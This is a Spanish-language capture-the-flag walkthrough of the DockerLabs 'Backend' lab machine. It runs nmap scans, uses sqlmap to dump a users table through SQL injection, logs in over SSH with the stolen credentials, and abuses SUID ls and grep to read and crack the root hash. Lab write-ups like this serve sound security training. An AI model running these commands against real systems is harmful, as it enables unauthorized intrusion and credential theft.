> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/backend.md).

# Backend

#### **Despliegue de la Máquina:**

**Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Backend** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**Descompresión:**

Utilizamos `7z` para extraer el contenido del archivo comprimido:

```bash
7z x backend.zip
```

<figure><img src="/files/gi3qnlvkH7LFwjN3RMEL" alt=""><figcaption></figcaption></figure>

**Ejecución:**

Ejecutamos el script que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh backend.tar
```

<figure><img src="/files/gYTHKo2oj5kUV2A8cUqX" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**Verificación de Conectividad:**

Realizamos un `ping` a la IP del contenedor para confirmar su disponibilidad:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/93Yp4BH6OFVGPDbeUteF" alt=""><figcaption></figcaption></figure>

**Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/lFvd59LSgfeix6TOfWOQ" alt=""><figcaption></figcaption></figure>

**Escaneo Detallado:**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Descubrimos:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.61.

<figure><img src="/files/5nxGaoms2JH0MNA34PNq" alt=""><figcaption></figcaption></figure>

**Interfaz Web:**

En el navegador accedemos a:

```
http://172.17.0.2/
```

<figure><img src="/files/f3F6xzBCvyaZ4ogYithm" alt=""><figcaption></figcaption></figure>

Y exploramos el panel de inicio de sesión ubicado en:

```
http://172.17.0.2/login.html
```

<figure><img src="/files/c5IYs6DkSbhuwK1muPu4" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**Prueba de SQL Injection (SQLi):**

Usamos `sqlmap` para evaluar el formulario de inicio de sesión:

```bash
sqlmap -u http://172.17.0.2/login.html --dbs --batch --forms
```

El panel de inicio de sesión es vulnerable a inyección SQL y hemos encontrado las siguientes bases de datos disponibles:

* `information_schema`.
* `mysql`.
* `performance_schema`.
* `sys`.
* `users`.

<figure><img src="/files/EOQIajSPPMk4a2KN0WGP" alt=""><figcaption></figcaption></figure>

**Enumeración de Tablas:**

Listamos las tablas dentro de la base de datos `users`:

```bash
sqlmap -u http://172.17.0.2/login.html --batch --forms -D users --tables
```

**Descubrimos la tabla:** `usuarios`.

<figure><img src="/files/OLQDImIYDKcf7Dngw5pc" alt=""><figcaption></figcaption></figure>

**Volcado de Datos:**

Extraemos los registros de la tabla `usuarios`:

```bash
sqlmap -u http://172.17.0.2/login.html --batch --forms -D users -T usuarios --dump
```

**Contenido:**

| **id** |  **password** | **username** |
| :----: | :-----------: | :----------: |
|    1   |   $paco$123   |     paco     |
|    2   | P123pepe3456P |     pepe     |
|    3   |  jjuuaann123  |     juan     |

<figure><img src="/files/enuvFNwsiNDgciM6koO5" alt=""><figcaption></figcaption></figure>

**Acceso por SSH:**

Probamos con las credenciales del usuario `pepe`:

```bash
ssh pepe@172.17.0.2
```

Confirmamos acceso como el usuario `pepe`.

<figure><img src="/files/DjBloRBKiDSGGXrMnSNU" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**Identificación de Binarios SUID:**

Utilizamos el siguiente comando:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos que `/usr/bin/ls` y `/usr/bin/grep` tienen el bit SUID activado.

<figure><img src="/files/iNXTbbaP1QqCIzraO6Sf" alt=""><figcaption></figcaption></figure>

**Acceso a Contenido Restringido:**

Listamos el directorio `/root` usando `/usr/bin/ls` con privilegios elevados:

```bash
/usr/bin/ls /root
```

Vemos un archivo llamado `pass.hash`.

<figure><img src="/files/4lkM7NmwnYfd5CCztaHw" alt=""><figcaption></figcaption></figure>

**Lectura del Archivo:**

Usamos `grep` para visualizar el contenido del archivo:

```bash
/usr/bin/grep "" /root/pass.hash
```

**El hash obtenido es:** `e43833c4c9d5ac444e16bb94715a75e4`.

<figure><img src="/files/JAh5pC5FtwKg0HZkMEEQ" alt=""><figcaption></figcaption></figure>

**Crackeo del Hash:**

Utilizamos [CrackStation](https://crackstation.net/) y logramos obtener la contraseña del usuario `root`: `spongebob34`.

<figure><img src="/files/FxW8G7o9KGsQtvh2ULJv" alt=""><figcaption></figcaption></figure>

**Escalada a Root:**

Ejecutamos:

```bash
su root
```

Ingresamos la contraseña (`spongebob34`) y obtenemos acceso como el usuario `root`.

<figure><img src="/files/iGs4Kyw7dbO1IlxWGpLB" alt=""><figcaption></figcaption></figure>
